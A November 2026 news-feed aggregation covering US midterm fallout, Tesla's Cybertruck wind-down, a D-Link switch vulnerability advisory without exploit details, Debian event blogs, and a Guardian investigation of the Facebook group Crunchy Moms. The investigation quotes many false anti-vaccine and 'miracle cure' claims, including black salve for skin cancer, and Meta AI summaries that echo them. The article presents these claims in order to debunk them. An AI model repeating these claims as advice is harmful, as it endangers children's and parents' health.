Harmeet Dhillon has resigned from her post as chief of the Justice Department’s Civil Rights Division. Dhillon is the first top official to leave the Trump administration following the Republicans’ crushing defeat in the midterm elections. Ahead of the midterms, Dhillon was part of Trump’s unsuccessful crusade to force states to turn over sensitive voting data. Dhillon spent her 19-month tenure gutting civil rights, and diversity, equity and inclusion protections in education, and led the campaign to target dozens of universities nationwide over student-led pro-Palestine activism and campus protests. Under Dhillon, the DOJ’s Civil Rights Division stopped investigating accusations of systemic racism and sexism, and in January refused to probe the fatal shootings of Renee Good and Alex Pretti by federal immigration agents in Minneapolis. Dhillon overhauled the Civil Rights Division from its original purpose of fighting discrimination and Jim Crow-era injustices to prosecute the left and other dissent.

DSA Candidates Win Mayor’s Races in L.A., D.C., Ann Arbor and Providence

Nov 06, 2026

At least four members of the Democratic Socialists of America have won mayor’s races in major U.S. cities, following Zohran Mamdani’s successful campaign for New York City mayor one year ago. In Los Angeles, Nithya Raman has defeated incumbent Mayor Karen Bass. Raman shared this video message yesterday.

Mayor-elect Nithya Raman : “And that work starts now, so that we can build housing that people can afford, parks for our children to play in, a transit system that can get people where they need to go, a city that is safe for its working people and its families, and a city government that is actually capable of delivering on its promises.”

Democratic socialist Janeese Lewis George has been elected mayor of Washington, D.C., and becomes D.C.’s first new mayor since 2015, after incumbent Muriel Bowser did not seek reelection.

Providence, Rhode Island, elected democratic socialist David Morales as mayor. At 28 years old, he is also the youngest mayor in Providence’s history. Morales has vowed to fight for working people and immigrants.

And DSA candidate Yousef Rabhi has claimed victory in the mayoral race in Ann Arbor, Michigan. Rabhi campaigned on building more city-subsidized affordable housing, labor rights and proposing a moratorium on data centers.

Sunrise Movement Co-Founder William Lawrence Flips Battleground House District in Michigan

Nov 06, 2026

In Michigan, progressive William Lawrence has defeated incumbent Republican Congressmember Tom Barrett in what was one of the most competitive swing House races these midterms. Lawrence is co-founder of the Sunrise Movement and centered his campaign on opposition to data centers and Flock camera surveillance. He’s also proposed tighter AI restrictions. Lawrence will represent Michigan’s 7th Congressional District, which includes Lansing.

Gov. Gavin Newsom Commutes Death Sentences of All Death Row Prisoners

Nov 06, 2026

In California, outgoing Democratic Governor Gavin Newsom announced Thursday he will grant clemency to all prisoners currently on death row. They now face life in prison without the possibility of parole. Newsom’s move came seven years after he placed a moratorium on executions in California. In a statement, Nadia Daar, executive director of Amnesty International USA , said, “California has gone two decades without an execution, yet, with more than 550 people, has the largest death row in the nation. Governor Newsom’s decision turns that long pause into meaningful and lasting progress against an inherently cruel, discriminatory and irreversible system that is antithetical to human rights.”

U.S. Held Secret Talks with Tehran in Bid to Deport Iranians, Despite “Threat of Certain Death”

Nov 06, 2026

Newly published court transcripts have revealed the Trump administration is knowingly deporting people detained in the U.S. to Iran — despite ongoing U.S. attacks. Trump officials have reportedly been holding secret talks with Tehran to coordinate the removals, including of Iranians who fear torture and persecution if they’re returned to Iran. Court documents unsealed on Thursday show U.S. District Judge Ana Reyes appeared incredulous as a Justice Department lawyer revealed the plans. Judge Reyes asked, “What you’re telling me is that the United States of America is going to send individuals back to that region facing what you and I and everyone who would ever look at this would know would be at a minimum a serious threat of certain death?” The government lawyer responded, “Yes, Your Honor.”

Over 600,000 March in France as Unions Hold Strike to Protest Austerity and Rising Prices

Nov 06, 2026

In France, hundreds of thousands of workers walked off their jobs Thursday and marched in nearly 200 cities in a one-day nationwide strike to demand higher wages and funding for education and other public services. Most of the unions participating were in France’s public sector. The demonstrations follow weeks of protests led by high school students demanding an end to chronic teacher shortages, overcrowded classrooms and crumbling school buildings. This is the mother of a student protester who joined a march in Paris.

Julie Souman : “As the parent of a student, we have mobilized to protect our children, because we have seen the images, like everyone else, of police violence on the TV and what has been reported at other Paris high schools, particularly at Hélène Boucher and Ravel. And since we don’t want this to get out of hand, we are here to ensure their protection, quite simply.”

Paraguay’s Trump-Supported President Resigns, Faces Criminal Probe Following Bank’s Collapse

Nov 06, 2026

Paraguayan President Santiago Peña has resigned following the collapse of the major digital lender Ueno Bank, to which Peña had business ties. Ueno’s demise left at least 3 million people — nearly half of Paraguay’s population — without access to their money and froze hundreds of millions of dollars in public funds, including state pension money. Peña, who is a Trump ally, now faces a criminal investigation.

Russell Brand Found Guilty of Rape and Sexual Assaults

Nov 06, 2026

In the United Kingdom, the comedian, actor and podcaster Russell Brand has been found guilty of raping a fan and sexually assaulting three other women. The abuses occurred between 2004 and 2009 at the peak of Brand’s career. This is Metropolitan Police Detective Superintendent Andy Furphy speaking outside a London courthouse following the jury’s guilty verdicts.

Andy Furphy : “Russell Brand used his influence, status and fame to prey on and exploit women. As his profile grew, so, too, did his sense of entitlement. Today’s verdict sends a clear message that no one is above the law, regardless of their fame, wealth, influence or public profile.”

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

Tesla to wind down Cybertruck production as Elon Musk focuses on robotics and AI

Guardian
www.theguardian.com
2026-11-06 07:38:05
Decision made in order for factory in Texas to be used for Cybercab, the carmaker’s self-driving taxi Elon Musk has announced that Tesla will wind down production of its Cybertruck, marking the end of a failed effort to take a chunk of the lucrative market for pickups in the US. The billionaire chie...
Original Article

Elon Musk has announced that Tesla will wind down production of its Cybertruck, marking the end of a failed effort to take a chunk of the lucrative market for pickups in the US.

The billionaire chief executive said production of the car would stop in about the middle of next year at the company’s factory in Texas in order to use the plant for the Cybercab, its self-driving taxi.

Musk did not say whether Tesla had plans to produce the vehicle in another factory, although that would probably require significant investment for the specialised tooling needed to make it.

Musk has pinned hopes for Tesla on robotics, artificial intelligence and an autonomous driving fleet rather than following the traditional carmakers’ approach of developing a steady stream of new models to entice private buyers.

It caps a tricky week for the world’s richest person, after Republican candidates he had backed with $446m (£332m) in donations lost in the US midterm elections. The paper value of Musk’s fortune fell by $113bn after the extent of the rout became clear, as stock market investors questioned whether a Democrat-led Congress could slow the pace of the AI boom .

Tesla shares fell by 11% on Thursday, while his AI and rocket launch company, SpaceX, dropped by 9%.

Tesla started deliveries of the Cybertruck in late 2023 , after several long delays as the company tried to cope with the technical challenges of producing such an unusual vehicle – and particularly its steel shell.

The Cybertruck never made it on sale in Europe because it did not reach the required safety standards.

Even before sales began, Musk acknowledged how difficult it would be to make it a success. In a 2023 earnings call, he said: “We dug our own grave with Cybertruck,” and noted “enormous challenges” in increasing production and earning money from it.

Musk had said the company aimed to sell 200,000 Cybertrucks each year but it never approached that target. Tesla does not report sales of the trucks separately but in the third quarter of 2026 it delivered only 8,300 “other models”, which include the Cybertruck. The vast majority of its sales were the Model 3 saloon and the Model Y SUV, with 478,000 combined deliveries during the quarter.

Tesla also this year stopped production of its Model S and Model X, its premium saloon and SUV, amid declining sales for ageing products.

skip past newsletter promotion

Tesla’s automotive focus has shifted to the Cybercab. Tesla has started offering paid trips in the car, which has space for two passengers and no steering wheel , in limited parts of Austin, Texas. However, it is unclear how quickly the company will be able to roll out the taxi service around the US or further afield amid close regulatory scrutiny of driverless car technology.

As well as the Cybercab, Tesla is still ramping up production of its long-delayed Semi electric lorry. Musk is also aiming to produce one other new model: the Roadster sportscar, which Musk revealed with a demonstration of a “flying car” version that used thrusters developed by SpaceX to drive up a curved ramp before flipping and landing. Tesla is aiming to start production of a road-bound version in 2028. Analysts do not expect the Roadster to make a large difference to Tesla’s future profits.

Beyond vehicles, the Texas factory will also be used to build Tesla’s Optimus humanoid robot.

Musk posted on X, the social network he owns: “Tesla will be winding down production of the Cybertruck at Gigafactory Texas around the middle of next year to make room for increased Cybercab production.”

D-Link warns of multiple zero-days in DGS-3130 Series switches

Bleeping Computer
www.bleepingcomputer.com
2026-11-06 07:37:22
D-Link shared mitigation measures for multiple unpatched security flaws affecting DGS-3130 series managed Gigabit stackable switches. [...]...
Original Article

D-Link

D-Link shared mitigation measures for multiple unpatched security flaws affecting DGS-3130 series managed Gigabit stackable switches.

These switch models provide multi-gigabit uplinks, allowing enterprise network administrators to eliminate data bottlenecks, and are designed primarily for small-to-medium businesses (SMBs) and metro Ethernet deployments.

While D-Link didn't share details on these flaws and has yet to publicly disclose the CVE IDs for easier tracking, it said Spectrum Community Solutions network engineer Giresh Kumar Enugu found the bugs in the D-Link Discovery Protocol (DDP) authentication, access control, and information handling.

image

Successful exploitation could allow attackers to obtain sensitive device data, make unauthorized credential/configuration changes, leak SNMP communities, or cause service disruptions and device resets.

The zero-days affect multiple DGS-3130-30TS firmware versions, and the company is still investigating the impact on other D-Link switching platforms and firmware security mechanisms (including SSH service security configuration, safeguards underlying operating-system credentials, and handles firmware encryption/embedded cryptographic keys).

"The reported vulnerabilities involve the D-Link Discovery Protocol (DDP) and certain components of the device's firmware security architecture," D-Link said .

"According to the security researcher, successful exploitation of certain vulnerabilities may allow an attacker with access to the affected network to obtain sensitive device information, perform unauthorized administrative operations, modify device configuration, or disrupt network services."

Until it releases new firmware to address these flaws, D-Link asked admins to disable DDP to remove the primary known attack vector, remove unnecessary or default SNMP community strings, and restrict SSH, web UI, and SNMP accessibility solely to isolated management networks and designated admin hosts.

D-Link also advised admins to maintain offline switch configuration backups and track device logs for unexpected configuration changes, unprompted reboots, or factory resets.

In September, D-Link warned customers of a maximum-severity zero-day (tracked as CVE-2026-86296 ) with a public proof-of-concept (PoC) exploit and no patch, affecting legacy DIR-822A dual-band Wi-Fi routers.

article image

Uncover email threats your existing defenses may miss.

Adaptive Security's AI agents analyze email intent, context, and behavior to uncover phishing, business email compromise, and invoice fraud.

See what's getting through with a 14-day read-only scan of Microsoft 365 or Google Workspace, with no MX changes.

Start your free email security scan.

Andrew Cater: Arm Cambridge - pre mini-Debconf days 20261105

PlanetDebian
flosslinuxblog.blogspot.com
2026-11-06 07:15:42
 At Arm in Cambridge for two hackathon-type days before the main mini-Debconf on Saturday and Sunday. A roomful of people, mostly very quiet this morning but with people gradually arriving and greeting each other.Just had an excellent lunch. Arm are excelling themselves, as ever. With particular tha...
Original Article

At Arm in Cambridge for two hackathon-type days before the main mini-Debconf on Saturday and Sunday. A roomful of people, mostly very quiet this morning but with people gradually arriving and greeting each other.

Just had an excellent lunch. Arm are excelling themselves, as ever. With particular thanks to Charlie Dixon who has arranged excellent facilities for us all and to Liv for the catering provision. Other old friends here have also helped as ever.

This sort of thing is ideal for cross-fertilization of experience, ideas - the side conversations where you realise that three people are converging to a consensus of discussion from three different starting points. It's fun and intensely interesting and it's the sort of thing that keeps me running Debian - and trusting the colleagues behind it because I've seen them here.

Face and name recognition is sometimes at least as valuable as rockstar coding and the social element and shared history keeps us pulling together.

Andrew Cater: Arm Cambridge - pre-mini-Debconf days 20261106

PlanetDebian
flosslinuxblog.blogspot.com
2026-11-06 07:14:36
Another interesting morning so far. Lots of interesting side conversations (and, of course, people using IRC to talk to the person next to them as is traditional).It's nice to hear somebody ask a question and be told, effectively  "Oh, you need to talk to XX - they're sitting over there" or " I need...
Original Article

Another interesting morning so far. Lots of interesting side conversations (and, of course, people using IRC to talk to the person next to them as is traditional).

It's nice to hear somebody ask a question and be told, effectively  "Oh, you need to talk to XX - they're sitting over there" or " I need to talk to someone about X, Y and Z - and they all resolve to you".

Especially noticeable in  this room, perhaps, but it does point to the fact that many things in Debian ultimately  resolve to one or two people. There are a lot of people each with multiple areas of expertise which overlap - and then a few individuals who are essential as points of reference for *everyone* else.

Thanks again to Arm for hosting us, for excellent food, coffee and facilities which make this _so much easier_ as a working environment for these days.

Tesla winds down Cybertruck production after years of poor sales in few markets

Hacker News
www.msn.com
2026-11-06 07:13:51
Comments...

Mbodi AI (YC P25) Is Hiring Research and Robotic Engineers

Hacker News
www.ycombinator.com
2026-11-06 07:00:42
Comments...
Original Article

Industrial Robots that Learn and Operate Like Humans

Jobs at Mbodi AI

New York, NY, US

$150K - $250K

0.50% - 2.00%

1+ years

New York, NY, US

$150K - $250K

0.50% - 2.00%

3+ years

Why you should join Mbodi AI

Mbodi is an embodied AI platform that makes robots learn like humans, with natural language. So anyone can teach robots new skills by talking to them and execute the learned skills reliably in production, in minutes. We are pioneering the next wave of robotics, where advanced generative models meet real-world applications. Backed by top investors and already working with global industrial partners (e.g., ABB), we’re redefining what’s possible in robotics and automation.

Mbodi AI

Founded: 2024

Batch: P25

Team Size: 6

Status: Active

Location: New York City, NY

Founders

Measles, mumps and misinformation: how Crunchy Moms became ‘the most dangerous’ group on Facebook

Guardian
www.theguardian.com
2026-11-06 07:00:41
Meta says it removes content that could cause imminent physical harm – but nearly half a million members have joined a group that regularly promotes misinformation As a measles outbreak spread through Lancaster county, Pennsylvania, in August, a parent turned to a massive public Facebook group, Crun...
Original Article

A s a measles outbreak spread through Lancaster county, Pennsylvania, in August, a parent turned to a massive public Facebook group, Crunchy Moms, for advice. They were considering getting their three-year-old vaccinated, in part to protect their six-month-old.

“I’m nervous for my baby,” the parent wrote.

“First of all your children cannot die of measles. It is literally impossible,” one member responded. “Do not do it,” advised another. Others said the vaccine would spread measles or that it would be like “injecting poison”.

At the end of the post, Facebook’s AI system – run by its parent company Meta – summarized the 589 responses, writing in part that commenters “claim the vaccine is unnecessary or even harmful”.

None of those claims are true. Pennsylvania has reported six measles-associated deaths this year, including two babies in Lancaster county. The measles, mumps and rubella (MMR) vaccine is safe and effective. Health officials say it is the best defense against measles spreading and injuring or killing people.

Scientists, doctors and advocates for health and children’s safety told the Guardian that what they see in Crunchy Moms and similar groups is alarming. They worry children could be getting hurt and that mothers are getting pulled into an online community that rejects science and fact-based medicine. One scientist who spends her free time monitoring the platform to highlight harmful health misinformation calls Crunchy Moms “the most dangerous group on Facebook”.

Meta did not comment on that characterization.

The spread of misinformation on Facebook has been a problem for years, but in the past, the company took steps to curb it. During the Covid-19 pandemic, for example, Facebook recognized it had a problem and changed its policies to “ prioritize connecting people with accurate health information ”.

But last year, shortly before the inauguration of Donald Trump, Mark Zuckerberg, Facebook’s billionaire founder, said there was “ too much censorship ” on Meta’s platforms.

Meta changed course; it eliminated factcheckers in the US and dialed down active moderation of anything but the most severe or illegal content. The company still maintains a policy that prohibits harmful health misinformation, but it is not known how Meta enforces it, and how its new permissive approach affects users at a time when measles and other infectious diseases are making a comeback.

In response to questions from the Guardian, Meta claimed nothing has changed in the policy or how it is enforced since 2023.


A Guardian investigation has found that dangerous medical misinformation is flowing freely on Facebook in groups like Crunchy Moms – now more than 490,000 members strong. What’s more, the company appears to have helped spread such ideas by promoting Crunchy Moms into users’ feeds, even when they do not seek it out.

Zuckerberg previously suggested that waiting for users to report “bad stuff” – rather than having automated systems catch them – would strike a better balance between what he termed censorship and free expression . But the Guardian found that following Zuckerberg’s suggested approach appears to have little to no discernible effect on false information that circulates on Crunchy Moms.

Facebook took no action on more than 50 posts and comments a Guardian journalist reported to the platform from her own Facebook account. The posts appeared to violate Meta’s own standards , including that vaccines caused autism, that measles is not deadly, or that “miracle cures” like the caustic agent black salve that destroys skin tissue can treat cancer. Facebook did not acknowledge or respond to a single one of the Guardian’s reports, made in May, July and September.

a man looks off to the side
Mark Zuckerberg attends a press briefing held by Donald Trump with AI executives, outside the White House, on 29 September 2026. Photograph: Finn Gomez/Getty Images

In a response, Meta said its misinformation policies allow people to discuss personal experiences and scientific research. It said it removes misinformation when it is likely to directly contribute to the risk of imminent physical harm. But Meta did not respond to detailed questions about Crunchy Moms or experts’ assessment that such misinformation is commonplace in the group.

Meta’s revenue last year exceeded $200bn.

Doctors, researchers, former employees and public health advocates said the Guardian’s findings show that the pendulum at Meta has swung back to a time when there was little moderation of false health information.

“We were documenting Facebook recommending anti-vaccine groups to parents almost a decade ago,” said Renée DiResta , a professor at Georgetown University who studies online manipulation.

She and others have shown how that approach harmed children. Back then, there were stories of children being hurt or dying after their parents turned to Facebook groups for health advice.

“I’m afraid that we’re going to see that same kind of dynamic all over again.”

A Facebook recommendation sparks a Guardian investigation

A Guardian journalist was scrolling on her phone in March when something caught her eye. Her Facebook feed recommended she join a group called Crunchy Moms: Natural Living & Clean Products.

The group was created in March 2025, less than three months after Zuckerberg announced Meta’s new hands-off approach.

Crunchy Moms’ administrators describe it as “a supportive space for moms who want to raise their families using toxin-free products, low-tox alternatives, and clean ingredient solutions.” But a quick check of the group revealed, and experts confirmed, it was a hotbed of false medical information that could hurt people – especially children and their mothers, who turn to the group for community, advice and affirmation.

The group focuses largely on health, though some posters also come to seek parenting tips, product recommendations and other non-medical questions. Many posters appear to take it as a given that group members are – or should be – against vaccinating their children. They frequently describe vaccines and their ingredients as deadly, toxic or poisonous.

a screenshot
Screenshot has been blurred to obscure identity of commenter. Photograph: Facebook

“We don’t vaccinate in this group. It’s the foundation of becoming a crunchy mom,” one anonymous member explained last month, in response to a question about the vaccine for RSV, a respiratory virus. A group administrator responded to a different post that “As a crunchy community we are generally against v@cs” – a code for vaccines.

Crunchy Moms has more than doubled in size since January, and receives hundreds of posts a day, and thousands of comments and replies.

Sara Rupe launched the group in March 2025. It was less than three months after Zuckerberg announced Meta’s new hands-off approach. The Connecticut mom said in an interview that her intention in creating the group was to share product recommendations for things like personal care products and makeup, but it turned into something bigger.

At least part of Crunchy Moms’ success, she said, was because it does not block “free speech”.

“Everybody has a right to say what they want to say as long as it’s within community standards of Facebook,” Rupe said. “I don’t censor things. ”

Rupe added: “If somebody wants to say something, then I usually let them. But I mean, within reason, if I really think it’s going to hurt somebody, I don’t. But I also think letting some information get out there could be good.”

Crunchy Moms is the largest group in a network of groups that collectively has over 1 million members. Rupe runs them with the help of several administrators and moderators, including her husband, who is a registered nurse, a pastor and wife couple in upstate New York, and a woman whose Meta-verified account describes her as a doctor of holistic health.

They post often with links to supplements and other products for sale on an Amazon store, with links to another administrator’s skincare line, or with affiliate links to products that provide a cut of sales to the person sharing it.

Rupe said she and another administrator use multiple accounts to run the group, which lets them maintain access to it if Facebook restricts her account. Her daughter was in seventh grade last year when Rupe used her account to post a listing of over three dozen products, including herbal remedy bundles that run over $100, non-fluoride toothpaste, $25 tallow balm and red light therapy panels that cost $200 or more.

A second administrator, Dawn Mannion, said she doesn’t make any money from the group, though others make a small commission that’s “not even minimum wage”. She said she frequently recommends that members seek medical attention from holistic or other qualified healthcare professionals. She added: “We do not discourage people from seeking medical care. We encourage it.”

Other administrators and moderators contacted by the Guardian did not respond to Facebook messages and texts seeking comment.

Many Crunchy Moms members were already into “natural living” and questioning vaccines when they come to the group, and group leaders don’t try to sway anyone’s mind, Rupe said.

Rupe has a child with autism that she now believes is connected to vaccination, and said many others in the group believe their children were injured by vaccines.

“We don’t want anybody to be hurt at all,” she said. “We want everybody to be as happy and healthy as possible.”

While Crunchy Mom posters often vehemently counsel against vaccines and modern medicine, Rupe said she does not think the group is harming anyone. Instead, she said it is helping people make their own decisions.

a man adjusts his blazer in front of US flags
Robert F Kennedy Jr, the US Health and Human Services secretary, at a make Iowa healthy again rally, in Clive, Iowa, on 28 October 2026. Photograph: Charlie Neibergall/AP

Some members say vaccines are so dangerous that it is safer to get a deadly or life-altering vaccine-preventable disease than it is to get immunized. They tell other members that catching a disease like measles or chicken pox “naturally” can be more healthy than getting vaccinated. Others repeat US Health and Human Services secretary Robert F Kennedy Jr’s unproven claims that Tylenol is linked to autism. One recent comment said that catching measles makes your body stronger, trains your immune system and results in a lower risk of cardiovascular disease and cancer.

Many posts spread the false assertion that vaccines cause autism and sudden infant death syndrome (Sids) – even though Meta specifies in its own policies that posts saying so violate its terms.

New or soon-to-be mothers looking for help and advice are frequent posters, and targets for swarms of comments telling them not to follow science-backed health recommendations for their children, like giving their newborns a Vitamin K shot that can prevent brain bleeds .

One woman asked about a link between vaccination and Sids, suggesting she feared she was putting her baby at risk of death if she followed the recommended vaccine schedule. She said she was considering spacing out her infant’s vaccines to lessen the risk. She ended her post: “I’m terrified.”

“Delaying poison won’t do anything beneficial. Injecting poison WILL increase the likelihood of SIDS,” one woman replied. Another, labeled an “All-Star contributor” by Facebook, weighed in: “SIDS is vaccine death. SIDS was invented to cover up the fact that vaccines kill infants.”

a screenshot
Screenshot has been blurred to obscure identity of commenter. Photograph: Facebook

Scroll through a post asking whether vaccines cause autism, readers will find comment after comment saying that they do. In one post, a frequent commenter offered a false statistic that 79% of autism is caused by vaccines. She replied to a person who said they were neurodiverse: “Your parents caused this with their vaccines. I am sorry.”

The same commenter later counseled the Lancaster county parent who was worried about their community’s measles outbreak that “It is not worth risking death or a disabling lifelong neurodegenerative condition, such as autism, for a vaccine that is ineffective, at best, at preventing measles.”

The group includes a mix of views. Some commenters will offer encouragement to seek medical care and to vaccinate their children. The Guardian spoke to people who became members of Crunchy Moms to try to provide a counterweight to the false information shared there.

Mannion said they do not endorse every statement made by individual members.

One of the Crunchy Mom rules that is supposed to govern the group is that the information shared is not medical advice, and that members should consult a healthcare provider before making any health or medical decisions. But in the many posts from parents asking for advice or sharing what their doctors told them, commenters often urge them not to follow what the doctor suggests, or say there is no need to speak to a doctor at all.

Rupe said she believes many of the comments are from “trolls” trying to get the group in trouble, and that people are simply posting their opinions.

Dr Alok Patel, a pediatrician who reviewed the group at the Guardian’s request, pointed to those kinds of comments as particularly concerning. It is a time-honored tradition for mothers to turn to fellow mothers for advice, and Patel believes it is important for people to use social media to find connection.

“But when people are outright dismissing modern medicine and putting their foot down and saying don’t get vaccines, don’t get the vitamin K shot, don’t see a doctor, and instead promoting a product, that is outright misinformation and potentially dangerous,” he said.

Patel has built up his own following on Meta’s Instagram platform to deliver science-based medical information to people. Social media companies, he said, should show it is more important to provide quality information than it is to keep people on their apps.

“Prove to us that you are prioritizing public health as much as you prioritize profits for your investors,” Patel said.

a man in a suit smiles
Dr Alok Patel attends the 2026 White House Correspondents’ Dinner at Washington Hilton on 25 April 2026 in Washington DC. Photograph: Taylor Hill/WireImage

Research has shown that health misinformation shared on Facebook can have a real-world impact on people’s decisions.

Jennifer Allen, a professor at NYU Stern who worked at Facebook from 2016 to 2018, has researched the effect of misinformation and vaccine-skeptical content on Facebook. She and her colleagues have estimated that exposure to vaccine skeptical content on the platform during the Covid-19 pandemic reduced people’s intention to get vaccinated . Without that exposure, they estimated 5 million more Americans would have been vaccinated, saving approximately 21,000 lives.

While people should be able to express themselves, Allen said, there is evidence that the kinds of expression she saw in Crunchy Moms can be dangerous.

“The fact that this group seems to exist and is being recommended to people, and there is so much clear misinformation in it, it seems to me that that means that there’s a failure along the way of Facebook,” Allen said.

During the pandemic, she said Facebook got pretty good at identifying and taking down egregiously false information and also not recommending it to people. She said she was surprised to now see such explicit misinformation being shared in a public group, and Facebook recommending it to users.

One scientist who spends her free time trawling Facebook to highlight the harmful information she sees there spoke to the Guardian on condition of anonymity because she has received harassment and threats. She said Crunchy Moms stands out among the worst, but is far from the only group where these problems are happening.

“Meta, and specifically Facebook, is allowing for these things to continue,” she said. She cited posts she has seen that counsel mothers not to get the Vitamin K shot for their newborns and others that sell unregulated supplements. She said she believes it is more dangerous than any other groups she monitors.

“Everybody should have the freedom to talk about what they want to talk about,” Rupe said when given the opportunity to respond to that criticism.

Given the volume of the posts, Rupe said she and other administrators can’t vet every single post.

“I’m assuming that if Meta sees that it doesn’t agree that it will just take it down. So I don’t really worry about that part,” she said.


In 2019, Facebook announced it would stop recommending groups that spread misinformation about vaccinations, saying it was “fully committed to the safety of our community”. DiResta said the company responded to public pressure as it became clear anti-vaccine activists were using Facebook to undermine public health in places like Samoa , where a 2019 measles outbreak killed 83 people, mostly children under age five. Facebook’s regional policy director said at the time that its teams were “proactively scanning for any health-related misinformation and are taking action to prevent its spread on our platforms”.

Later that year, Zuckerberg was pressed on the issue by a Republican congressman who complained Facebook was censoring users’ speech about vaccine risks and injuries. Zuckerberg, whose wife Priscilla Chan is a pediatrician and who donated $75m to a major San Francisco hospital which now bears their name, acknowledged the concern. But he said “we also hear consistently from our community that people want us to stop the spread of misinformation” and that he understood “scientific consensus is that it is important that people get their vaccines”. While users would be allowed to post anti-vaccine content or join such groups, Zuckerberg said Facebook would not “recommend or go out of our way to show people content that would encourage people to join those groups”.

people stand around a table
Government employees and volunteers are assigned into teams on 6 December 2019 to provide assistance in Apia, Samoa, during a measles outbreak. Photograph: Chikara Yoshia/Getty Images

After Covid hit in 2020, Facebook stopped recommending health groups altogether , explaining that “it’s crucial that people get their health information from authoritative sources.”

Anti-vaccine activists complained of censorship and joined with Republican politicians and others who took issue with Facebook’s response to false information about elections and other civic matters. Then Trump was elected to a second term. His pick to lead the nation’s health department was Kennedy, a longtime leader in the anti-vaccine movement who has accused Facebook of censoring him and the group he used to run, and sued over it . The case was dismissed.

Shortly before Trump was sworn into office, Zuckerberg and Meta announced the end to third-party factchecking in the US as well as rollbacks to moderation. A few weeks later, Zuckerberg and tech CEOs attended Trump’s inauguration.

Still, Meta retained a misinformation policy .

The current policy says it removes what it calls harmful health misinformation that is “likely to directly contribute to imminent harm to public health and safety”. It lists several specific examples of what it does not allow – much of it about vaccines. Among those are claims that vaccines cause autism or Sids; that vaccine ingredients are deadly, toxic, poisonous, harmful or dangerous; that vaccines are not effective; and that measles is not deadly. Meta’s policy also says it bars promoting or advocating for harmful miracle cures, including black salve which is peddled online as a skin cancer treatment without evidence that it works, and it has disfigured people or left their cancer to grow .

Though Facebook issued a report on how it has enforced its community standards this year, it did not discuss how or whether it has enforced its standards that govern misinformation on health.

The Guardian spoke to several people who had reported Crunchy Moms posts to Facebook or who had tried to report posts outside the group that similarly contained dangerous health misinformation. They said they had little success.

“My own personal post reports have universally been ignored by Facebook,” said Dr Frank Han, a pediatric cardiologist in Connecticut.

“While Facebook claims that they moderate, the practical effect is that medical misinformation propagates much faster than medically correct information,” Han said.

Another Crunchy Moms member, Emily Loving-Rodriguez, said she had made dozens of reports to Facebook, and possibly hundreds, since she joined earlier this year. The Idaho resident has a personal interest in child welfare and misinformation, and noted a post she had seen recently in Crunchy Moms where someone said herpes could be cured with the dietary supplement zeolite . She said her reports rarely had any effect.

Kasey Kramps, another member, said she had made reports to Facebook in the past for medical misinformation but said she could no longer find a way to report it.

“Their health misinformation rules are very explicit. They’re still up there,” said DiResta, who reviewed the group at the Guardian’s request. “They have a policy and they actively choose – at this point – it does not seem that they are enforcing it.”

Reporting misinformation goes nowhere

To test how Facebook enforces its harmful medical misinformation policy, the Guardian reported 55 Crunchy Mom posts, comments and replies and one video reel to Facebook that appeared to violate the policy.

It is the approach that Zuckerberg endorsed when he announced Meta’s changes in January 2025.

“We used to have filters that scanned for any policy violation,” Zuckerberg said then. “Now we’re going to focus those filters on tackling illegal and high severity violations. And for lower severity violations, we’re going to rely on someone reporting an issue before we take action.”

The Guardian’s reports spanned a range of content. One post stated in part that scientific research shows “vaccines cause autism”. A comment said: “The MMR vaccine CAUSES measles.” Another: “Vaccines are extremely toxic and unnecessary as well as NOT safe or effective. They all poison.”

a screenshot
Screenshot has been blurred to obscure identities of authors. Photograph: Facebook

In a video shared in the group that downplayed the dangers of tetanus and urged against vaccines, a caption included the line “High-dose vitamin C led to 100% survival in tetanus-infected children and reduced death rates in adults.” Meta’s policy prohibits saying Vitamin C is as effective as a vaccine.

On a post asking: “What are we using to get rid of skin cancer?” the Guardian reported several replies suggesting black salve. It also reported a post asking for a brand of black salve to use on a “questionable mole/mark”, as well as the reply from a group administrator providing an affiliate link to purchase a black salve product, as well as to another administrator’s Amazon store.

The Guardian also reported the entire Crunchy Moms group on 1 October, given that similar content is commonplace within it.

There is no way to report content specifically as harmful health misinformation. Instead, the user making a report must first select a broad category: “scam, fraud or false information”. Then, content can be reported under the heading “Sharing false information”.

The Guardian did not receive a single confirmation from Facebook to any of its reports, even though the company says it alerts users to the outcomes of their reports. Loving-Rodriguez said when she reports comments for hate or Nazi content in other Facebook communities, she gets a message from Facebook confirming her report. But not when she flags content that seems to violate Facebook’s rules in Crunchy Moms.

Nearly all of the content the Guardian reported to Facebook was still up when Meta was approached for comment.

While the repeated reports of policy violations by the Guardian didn’t receive any responses, Facebook invited the journalist to join the platform’s community notes program. The program replaced third-party factcheckers in the United States after the 2025 rollbacks. Meta has said it was already testing the program in several countries and plans to roll it out and eliminate factcheckers once it was confident it was working well.

The Guardian this week provided Meta with examples of content found on the group. Meta said it was reviewing those links and would take action on posts that violate its policies.


‘I did not seek it out’

Recommendations have become an important source of content on Facebook, now representing 36% to 39% of what users see in their news feed, according to the company’s most recent reports. That content comes from sources they are not connected to but which Facebook determines might interest them. By contrast, content from friends makes up only about 20% of users’ feeds.

Facebook says it makes such personalized recommendations to help people “discover new communities and content”.

When Facebook chooses to promote a group, DiResta claimed, it is using its editorial discretion, exercising its speech and making a value judgment. In the past, she said, Facebook had acknowledged that recommendations create a different level of responsibility from simply allowing people to speak.

The Guardian found several people who encountered Crunchy Moms in their feed as a result of Facebook’s curation choices.

“It came across my feed, and I engaged,” said Kramps, who joined the group about six months ago. “I did not seek it out.”

“It was offered to me organically in my feed,” said Dr Casey Husser, an anesthesiologist in Sioux Falls, South Dakota. “I didn’t look for Crunchy Moms.”

A Minneapolis mother of two children, ages two and five, told the Guardian Crunchy Moms showed up in her feed for months, even though she was not part of the group and did not seek it out.

Meta told the Guardian its approach to misinformation is to create an environment that reduces its distribution. It did not address specific questions about why it was recommending Crunchy Moms to users’ feeds.

Facebook also has taken the step of adding titles or comment summaries to some posts. Generated by Meta’s AI tool, they are meant to “ help people catch up ” on conversations on the platform. The comment summaries it offered on some posts conflicted with good science, critics said.

For example, Meta’s AI entitled one post: “What vaccines are recommended or skipped during pregnancy and infancy?” It summarized the comments by stating: “Hepatitis B and flu vaccines are commonly suggested to skip, while some recommend delaying or picking and choosing vaccines.”

That conflicts with recommendations from doctors’ groups in the US, which recommend universal hepatitis B vaccination for all infants at birth, as well as flu vaccine for children six months and older and for pregnant women during influenza season.

a pair of hands wipes an arm with an alcohol swab
